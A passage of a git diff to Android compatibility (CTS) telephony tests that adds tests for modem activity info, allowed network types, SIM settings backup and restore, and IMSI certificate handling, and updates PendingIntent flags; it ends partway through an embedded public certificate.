+            int destPort, int sendSmsFlag, ResultCallback<SendSmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendSmsResult(SEND_STATUS_OK, FAKE_MESSAGE_REF));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendMultipartTextSms(List<String> parts, int subId,
+            String destAddress, int sendSmsFlag,
+            ResultCallback<SendMultipartSmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendMultipartSmsResult(
+                    SEND_STATUS_OK, new int[] {FAKE_MESSAGE_REF}));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendMms(Uri pduUri, int subId, Uri location,
+            ResultCallback<SendMmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendMmsResult(
+                    SEND_STATUS_OK, new byte[0]));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onDownloadMms(Uri contentUri, int subId, Uri location,
+            ResultCallback<Integer> callback) {
+        try {
+            callback.onReceiveResult(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+        } catch (RemoteException ex) {
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 60b0de2..24cc212 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -212,7 +212,7 @@
                 .build();
         // Send
         final PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                context, 0, new Intent(ACTION_MMS_SENT), 0);
+                context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         smsManager.sendMultimediaMessage(context,
                 contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
         assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java
index f0acc85..2e4471b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java
@@ -15,13 +15,17 @@
  */
 package android.telephony.cts;
 
-import android.telephony.ModemActivityInfo;
-
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import android.os.SystemClock;
+import android.telephony.ModemActivityInfo;
+
 import org.junit.Test;
 
+import java.util.stream.IntStream;
+
 /**
  * CTS test for ModemActivityInfo APIs
  */
@@ -31,12 +35,12 @@
     private static final int VALID_SLEEP_TIME_MS = 1;
     private static final int VALID_IDLE_TIME_MS = 1;
     private static final int VALID_RX_TIME_MS = 1;
-    private static final int[] VALID_TX_TIME_MS = {1, 1};
+    private static final int[] VALID_TX_TIME_MS = {1, 1, 1, 1, 1};
 
     private static final int INVALID_SLEEP_TIME_MS = -1;
     private static final int INVALID_IDLE_TIME_MS = -1;
     private static final int INVALID_RX_TIME_MS = -1;
-    private static final int[] INVALID_TX_TIME_MS = {-1, 1};
+    private static final int[] INVALID_TX_TIME_MS = {-1, 1, -1, 1, -1};
 
     @Test
     public void testModemActivityInfoIsValid() {
@@ -64,4 +68,25 @@
         assertFalse("ModemActivityInfo should be invalid because transmit time is invalid",
                 modemActivityInfo.isValid());
     }
+
+    @Test
+    public void testAccessors() {
+        ModemActivityInfo info = new ModemActivityInfo(SystemClock.elapsedRealtime(),
+                VALID_SLEEP_TIME_MS, VALID_IDLE_TIME_MS, VALID_TX_TIME_MS, VALID_RX_TIME_MS);
+        assertTrue(SystemClock.elapsedRealtime() >= info.getTimestampMillis());
+        assertEquals(VALID_SLEEP_TIME_MS, info.getSleepTimeMillis());
+        assertEquals(VALID_IDLE_TIME_MS, info.getIdleTimeMillis());
+        assertEquals(VALID_RX_TIME_MS, info.getReceiveTimeMillis());
+        IntStream.range(0, ModemActivityInfo.getNumTxPowerLevels()).forEach(
+                (x) -> assertEquals(VALID_TX_TIME_MS[x],
+                        info.getTransmitDurationMillisAtPowerLevel(x)));
+    }
+
+    @Test
+    public void testDiff() {
+        ModemActivityInfo info = new ModemActivityInfo(SystemClock.elapsedRealtime(),
+                VALID_SLEEP_TIME_MS, VALID_IDLE_TIME_MS, VALID_TX_TIME_MS, VALID_RX_TIME_MS);
+        ModemActivityInfo zeroInfo = new ModemActivityInfo(0, 0, 0, new int[]{0, 0, 0, 0, 0}, 0);
+        assertEquals(info, zeroInfo.getDelta(info));
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index a4e4f7e..74fbef9 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -45,14 +45,12 @@
 import android.telephony.ServiceState;
 import android.telephony.SignalStrength;
 import android.telephony.SmsManager;
-import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyDisplayInfo;
 import android.telephony.TelephonyManager;
 import android.telephony.TelephonyManager.DataEnabledReason;
 import android.telephony.emergency.EmergencyNumber;
 import android.telephony.ims.ImsReasonInfo;
 import android.util.Log;
-import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -64,9 +62,8 @@
 
 import java.util.Arrays;
 import java.util.List;
+import java.util.Map;
 import java.util.concurrent.Executor;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
 
 public class PhoneStateListenerTest {
 
@@ -100,6 +97,8 @@
     private boolean mOnTelephonyDisplayInfoChanged;
     private boolean mOnPhysicalChannelConfigCalled;
     private boolean mOnDataEnabledChangedCalled;
+    private boolean mOnAllowedNetworkTypesChangedCalled;
+    private Map<Integer, Long> mAllowedNetworkTypes;
     @RadioPowerState private int mRadioPowerState;
     @SimActivationState private int mVoiceActivationState;
     private BarringInfo mBarringInfo;
@@ -2239,4 +2238,73 @@
         // Test unregister
         unRegisterPhoneStateListener(mOnDataEnabledChangedCalled, mDataEnabledChangedListener);
     }
+
+    private AllowedNetworkTypesChangedListener mAllowedNetworkTypesChangedListenerListener;
+
+    private class AllowedNetworkTypesChangedListener extends PhoneStateListener
+            implements PhoneStateListener.AllowedNetworkTypesChangedListener {
+        @Override
+        public void onAllowedNetworkTypesChanged(Map<Integer, Long> allowedNetworkTypesList) {
+            synchronized (mLock) {
+                mAllowedNetworkTypes = allowedNetworkTypesList;
+                mOnAllowedNetworkTypesChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnAllowedNetworkTypesChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnAllowedNetworkTypesChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mAllowedNetworkTypesChangedListenerListener = new AllowedNetworkTypesChangedListener();
+            registerPhoneStateListenerWithPermission(mAllowedNetworkTypesChangedListenerListener);
+        });
+        synchronized (mLock) {
+            if (!mOnAllowedNetworkTypesChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        long allowedNetworkTypeUser = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER);
+                }
+        );
+        long allowedNetworkTypePower = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                }
+        );
+        long allowedNetworkTypeCarrier = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
+                }
+        );
+        long allowedNetworkTypeEnable2g = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                }
+        );
+        assertThat(allowedNetworkTypeUser).isEqualTo(
+                mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER));
+        assertThat(allowedNetworkTypePower).isEqualTo(
+                mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER));
+        assertThat(allowedNetworkTypeCarrier).isEqualTo(
+                mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER));
+        assertThat(allowedNetworkTypeEnable2g).isEqualTo(
+                mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G));
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnAllowedNetworkTypesChangedCalled,
+                mAllowedNetworkTypesChangedListenerListener);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 05a749e..cb9d1ad 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -629,9 +629,9 @@
         mReceivedDataSms = false;
         sMessageId = 0L;
         mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     /**
@@ -647,8 +647,8 @@
             ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
             ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
             for (int i = 0; i < numPartsSent; i++) {
-                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
-                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
+                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
             sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents, addMessageId);
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
index dbb769d..615c2a8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
@@ -16,6 +16,8 @@
 
 package android.telephony.cts;
 
+import static android.telephony.cts.TelephonyUtils.hexStringToByteArray;
+
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static org.junit.Assert.assertArrayEquals;
@@ -35,6 +37,8 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Arrays;
+
 public class SmsMessageTest {
 
     private TelephonyManager mTelephonyManager;
@@ -110,7 +114,7 @@
         assertEquals(sms.getMessageBody().length(), result[1]);
         assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
         assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
-        assertEquals(pdu, toHexString(sms.getPdu()));
+        assertEquals(pdu, TelephonyUtils.toHexString(sms.getPdu()));
 
         assertEquals(NOT_CREATE_FROM_SIM, sms.getIndexOnSim());
         assertEquals(NOT_CREATE_FROM_ICC, sms.getIndexOnIcc());
@@ -418,7 +422,13 @@
                 -62, -32, 48};
 
         assertArrayEquals(expectedGsmMsg, gsmMsg);
-        assertArrayEquals(expectedCdmaMsg, cdmaMsg);
+        // In CDMA, the message byte array is affected by the messageId generated by
+        // {@link com.android.internal.telephony.cdma.SmsMessage#getNextMessageId()}
+        // which is not consistent. Skip the 2 bytes which are affected by it.
+        assertArrayEquals(Arrays.copyOfRange(expectedCdmaMsg, 0, 35),
+                Arrays.copyOfRange(cdmaMsg, 0, 35));
+        assertArrayEquals(Arrays.copyOfRange(expectedCdmaMsg, 37, expectedCdmaMsg.length),
+                Arrays.copyOfRange(cdmaMsg, 37, expectedCdmaMsg.length));
     }
 
     @Test
@@ -431,42 +441,4 @@
         SmsMessage sms = SmsMessage.createFromNativeSmsSubmitPdu(submitPdu, true);
         assertNull(sms);
     }
-
-    private final static char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
-            'A', 'B', 'C', 'D', 'E', 'F' };
-
-    public static String toHexString(byte[] array) {
-        int length = array.length;
-        char[] buf = new char[length * 2];
-
-        int bufIndex = 0;
-        for (int i = 0 ; i < length; i++)
-        {
-            byte b = array[i];
-            buf[bufIndex++] = HEX_DIGITS[(b >>> 4) & 0x0F];
-            buf[bufIndex++] = HEX_DIGITS[b & 0x0F];
-        }
-
-        return new String(buf);
-    }
-
-    private static int toByte(char c) {
-        if (c >= '0' && c <= '9') return (c - '0');
-        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
-        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
-
-        throw new RuntimeException ("Invalid hex char '" + c + "'");
-    }
-
-    private static byte[] hexStringToByteArray(String hexString) {
-        int length = hexString.length();
-        byte[] buffer = new byte[length / 2];
-
-        for (int i = 0 ; i < length ; i += 2) {
-            buffer[i / 2] =
-                (byte)((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i+1)));
-        }
-
-        return buffer;
-    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
index a9a934d..e61a720 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -34,13 +34,13 @@
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_SENT_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_DELIVERED_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 78561b5..8031a4a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -47,6 +47,11 @@
 import android.telephony.SubscriptionManager;
 import android.telephony.SubscriptionPlan;
 import android.telephony.TelephonyManager;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.ImsMmTelManager;
+import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.RcsUceAdapter;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -61,6 +66,8 @@
 import org.junit.BeforeClass;
 import org.junit.Test;
 
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
 import java.time.Period;
 import java.time.ZonedDateTime;
 import java.util.ArrayList;
@@ -824,6 +831,97 @@
         setPreferredDataSubId(preferredSubId);
     }
 
+    @Test
+    public void testRestoreAllSimSpecificSettingsFromBackup() throws Exception {
+        if (!isSupported()) return;
+
+        int activeDataSubId = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getActiveDataSubscriptionId());
+        assertNotEquals(activeDataSubId, SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+
+        byte[] backupData = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getAllSimSpecificSettingsForBackup());
+        assertTrue(backupData.length > 0);
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_EDITABLE_ENHANCED_4G_LTE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_HIDE_ENHANCED_4G_LTE_BOOL, false);
+        overrideCarrierConfig(bundle, activeDataSubId);
+
+        // Get the original ims values.
+        ImsManager imsManager = InstrumentationRegistry.getContext().getSystemService(
+                ImsManager.class);
+        ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(activeDataSubId);
+        boolean isVolteVtEnabledOriginal = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isAdvancedCallingSettingEnabled());
+        boolean isVtImsEnabledOriginal = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isVtSettingEnabled());
+
+        // Get the original RcsUce values.
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(activeDataSubId);
+        RcsUceAdapter rcsUceAdapter = imsRcsManager.getUceAdapter();
+        boolean isImsRcsUceEnabledOriginal =
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                rcsUceAdapter, (a) -> a.isUceSettingEnabled(), ImsException.class,
+                android.Manifest.permission.READ_PHONE_STATE);
+
+        //Change values in DB.
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setAdvancedCallingSettingEnabled(!isVolteVtEnabledOriginal));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVtSettingEnabled(!isVtImsEnabledOriginal));
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                rcsUceAdapter, (a) -> a.setUceSettingEnabled(!isImsRcsUceEnabledOriginal),
+                ImsException.class);
+
+        // Restore back to original values.
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                (sm) -> sm.restoreAllSimSpecificSettingsFromBackup(backupData));
+        // Get ims values to verify with.
+        boolean isVolteVtEnabledAfterRestore = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isAdvancedCallingSettingEnabled());
+        boolean isVtImsEnabledAfterRestore = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isVtSettingEnabled());
+
+        // Get RcsUce values to verify with.
+        boolean isImsRcsUceEnabledAfterRestore =
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        rcsUceAdapter, (a) -> a.isUceSettingEnabled(), ImsException.class,
+                        android.Manifest.permission.READ_PHONE_STATE);
+
+        assertEquals(isVolteVtEnabledOriginal, isVolteVtEnabledAfterRestore);
+        assertEquals(isVtImsEnabledOriginal, isVtImsEnabledAfterRestore);
+        assertEquals(isImsRcsUceEnabledOriginal, isImsRcsUceEnabledAfterRestore);
+
+        // restore original carrier config.
+        overrideCarrierConfig(null, activeDataSubId);
+
+
+        try {
+            // Check api call will fail without proper permissions.
+            mSm.restoreAllSimSpecificSettingsFromBackup(backupData);
+            fail("SecurityException expected");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Nullable
+    private PersistableBundle getBundleFromBackupData(byte[] data) {
+        try (ByteArrayInputStream bis = new ByteArrayInputStream(data)) {
+            return PersistableBundle.readFromStream(bis);
+        } catch (IOException e) {
+            return null;
+        }
+    }
+
+    private void overrideCarrierConfig(PersistableBundle bundle, int subId) throws Exception {
+        CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getContext()
+                .getSystemService(CarrierConfigManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(subId, bundle));
+    }
+
     private void setPreferredDataSubId(int subId) {
         final LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
         Executor executor = (command)-> command.run();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 7da72d8..7fd15e3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,6 +16,11 @@
 
 package android.telephony.cts;
 
+import static android.app.AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER;
+import static android.telephony.PhoneCapability.DEVICE_NR_CAPABILITY_NONE;
+import static android.telephony.PhoneCapability.DEVICE_NR_CAPABILITY_NSA;
+import static android.telephony.PhoneCapability.DEVICE_NR_CAPABILITY_SA;
+
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -30,6 +35,7 @@
 
 import android.Manifest.permission;
 import android.annotation.NonNull;
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.BroadcastReceiver;
@@ -64,7 +70,10 @@
 import android.telephony.CellInfo;
 import android.telephony.CellLocation;
 import android.telephony.DataThrottlingRequest;
+import android.telephony.ImsiEncryptionInfo;
+import android.telephony.ModemActivityInfo;
 import android.telephony.NetworkRegistrationInfo;
+import android.telephony.PhoneCapability;
 import android.telephony.PhoneStateListener;
 import android.telephony.PinResult;
 import android.telephony.PreciseCallState;
@@ -96,8 +105,14 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
+import java.security.PublicKey;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
@@ -108,6 +123,7 @@
 import java.util.Map;
 import java.util.Objects;
 import java.util.Set;
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.LinkedBlockingQueue;
@@ -135,6 +151,8 @@
     private boolean mRadioRebootTriggered = false;
     private boolean mHasRadioPowerOff = false;
     private ServiceState mServiceState;
+    private PhoneCapability mPhoneCapability;
+    private boolean mOnPhoneCapabilityChanged = false;
     private final Object mLock = new Object();
 
     private CarrierConfigManager mCarrierConfigManager;
@@ -142,7 +160,7 @@
     private String mSelfCertHash;
 
     private static final int TOLERANCE = 1000;
-    private static final int TIMEOUT_FOR_NETWORK_OPS = TOLERANCE * 10;
+    private static final int TIMEOUT_FOR_NETWORK_OPS = TOLERANCE * 180;
     private PhoneStateListener mListener;
     private static ConnectivityManager mCm;
     private static final String TAG = "TelephonyManagerTest";
@@ -186,6 +204,62 @@
     private static final String TEST_FORWARD_NUMBER = "54321";
     private static final String TESTING_PLMN = "12345";
 
+    private static final String BAD_IMSI_CERT_URL = "https:badurl.badurl:8080";
+    private static final String IMSI_CERT_STRING_EPDG = "-----BEGIN CERTIFICATE-----"
+            + "\nMIIDkzCCAnugAwIBAgIEJ4MVZDANBgkqhkiG9w0BAQsFADB6MQswCQYDVQQGEwJV"
+            + "\nUzEOMAwGA1UECBMFVGV4YXMxDzANBgNVBAcTBklydmluZzEiMCAGA1UEChMZVmVy"
+            + "\naXpvbiBEYXRhIFNlcnZpY2VzIExMQzEMMAoGA1UECxMDTk5PMRgwFgYDVQQDEw9F"
+            + "\nQVAtSURFLlZaVy5DT00wHhcNMTcxMTEzMTkxMTA1WhcNMjcxMTExMTkxMTA1WjB6"
+            + "\nMQswCQYDVQQGEwJVUzEOMAwGA1UECBMFVGV4YXMxDzANBgNVBAcTBklydmluZzEi"
+            + "\nMCAGA1UEChMZVmVyaXpvbiBEYXRhIFNlcnZpY2VzIExMQzEMMAoGA1UECxMDTk5P"
+            + "\nMRgwFgYDVQQDEw9FQVAtSURFLlZaVy5DT00wggEiMA0GCSqGSIb3DQEBAQUAA4IB"
+            + "\nDwAwggEKAoIBAQCrQ28TvN0uUV/vK4YUS7+zcYMKAe5IYtDa3Wa0r64iyBSz6Eau"
+            + "\nT+YHNNzCV4xMqURM5mIY6796LnmWR5jViUgrHyw0d06mLE54uUET/drn2pwhaobK"
+            + "\nNVvbYzpm5W3dvext+klEgIhpRW4fR/uNUmD0O9n/5ofpg++wbvMNWEIjeTVUGPRT"
+            + "\nCeVblH3tK8bKdCKjp48HtuciY7gE8LMoHhMHA1cob9VktSYTy2ABa+rKAPAaqVz4"
+            + "\nL0Arlbi9INHSDNFlLvy1xE5dyYIqhRMicM2i4LCMwJnwf0tz8m7DmDxfdmC4HY2Q"
+            + "\nz4VpbQOu10oRhXXrhZFkZEmqp6RYQmDRDDDtAgMBAAGjITAfMB0GA1UdDgQWBBSg"
+            + "\nFA6liox07smzfITrvjSlgWkMMTANBgkqhkiG9w0BAQsFAAOCAQEAIoFKLgLfS9f1"
+            + "\n0UG85rb+noaeXY0YofSY0dxFIW3rA5zjRD0kus9iyw9CfADDD305hefJ4Kq/NLAF"
+            + "\n0odR4MOTan5KhXTlD9/8mZjSSeEktgCX3BbmMqKoKcaV6Oo9C0RfwGccDms6D+Dw"
+            + "\n3GkgsvKJEB8LjApzQSmDwCV9BVJsC60041cndqBxMr3RMxCkO6/sQRKyAuzx5f91"
+            + "\nWn5cpYxvl4//TatSc9oeU+ootlxfXszdRPM5xqCodm6gWmxRkK6DePlhpaZ1sKdw"
+            + "\nCQg/mA35Eh5ZgOpZT2YG+a8BbDRCF5gj/pu1tPt8VfApPHq6lAoitlrx1cEdJWx6"
+            + "\n5JXaFrs0UA=="
+            + "\n-----END CERTIFICATE-----";
+    private static final String IMSI_CERT_STRING_WLAN = "-----BEGIN CERTIFICATE-----"
+            + "\nMIIFbzCCBFegAwIBAgIUAz8I/cK3fILeJ9PSbi7MkN8yZBkwDQYJKoZIhvcNAQEL"
+            + "\nBQAwgY0xCzAJBgNVBAYTAk5MMRIwEAYDVQQHEwlBbXN0ZXJkYW0xJTAjBgNVBAoT"
+            + "\nHFZlcml6b24gRW50ZXJwcmlzZSBTb2x1dGlvbnMxEzARBgNVBAsTCkN5YmVydHJ1"
+            + "\nc3QxLjAsBgNVBAMTJVZlcml6b24gUHVibGljIFN1cmVTZXJ2ZXIgQ0EgRzE0LVNI"
+            + "\nQTIwHhcNMTcxMTE2MTU1NjMzWhcNMTkxMTE2MTU1NjMzWjB6MQswCQYDVQQGEwJV"
+            + "\nUzEOMAwGA1UECBMFVGV4YXMxDzANBgNVBAcTBklydmluZzEiMCAGA1UEChMZVmVy"
+            + "\naXpvbiBEYXRhIFNlcnZpY2VzIExMQzEMMAoGA1UECxMDTk5PMRgwFgYDVQQDEw9F"
+            + "\nQVAtSURFLlZaVy5DT00wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr"
+            + "\nQ28TvN0uUV/vK4YUS7+zcYMKAe5IYtDa3Wa0r64iyBSz6EauT+YHNNzCV4xMqURM"
+            + "\n5mIY6796LnmWR5jViUgrHyw0d06mLE54uUET/drn2pwhaobKNVvbYzpm5W3dvext"
+            + "\n+klEgIhpRW4fR/uNUmD0O9n/5ofpg++wbvMNWEIjeTVUGPRTCeVblH3tK8bKdCKj"
+            + "\np48HtuciY7gE8LMoHhMHA1cob9VktSYTy2ABa+rKAPAaqVz4L0Arlbi9INHSDNFl"
+            + "\nLvy1xE5dyYIqhRMicM2i4LCMwJnwf0tz8m7DmDxfdmC4HY2Qz4VpbQOu10oRhXXr"
+            + "\nhZFkZEmqp6RYQmDRDDDtAgMBAAGjggHXMIIB0zAMBgNVHRMBAf8EAjAAMEwGA1Ud"
+            + "\nIARFMEMwQQYJKwYBBAGxPgEyMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vc2VjdXJl"
+            + "\nLm9tbmlyb290LmNvbS9yZXBvc2l0b3J5MIGpBggrBgEFBQcBAQSBnDCBmTAtBggr"
+            + "\nBgEFBQcwAYYhaHR0cDovL3Zwc3NnMTQyLm9jc3Aub21uaXJvb3QuY29tMDMGCCsG"
+            + "\nAQUFBzAChidodHRwOi8vY2FjZXJ0Lm9tbmlyb290LmNvbS92cHNzZzE0Mi5jcnQw"
+            + "\nMwYIKwYBBQUHMAKGJ2h0dHA6Ly9jYWNlcnQub21uaXJvb3QuY29tL3Zwc3NnMTQy"
+            + "\nLmRlcjAaBgNVHREEEzARgg9FQVAtSURFLlZaVy5DT00wDgYDVR0PAQH/BAQDAgWg"
+            + "\nMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTkLbuR"
+            + "\nAWUmH7R6P6MVJaTOjEQzOzA+BgNVHR8ENzA1MDOgMaAvhi1odHRwOi8vdnBzc2cx"
+            + "\nNDIuY3JsLm9tbmlyb290LmNvbS92cHNzZzE0Mi5jcmwwHQYDVR0OBBYEFKAUDqWK"
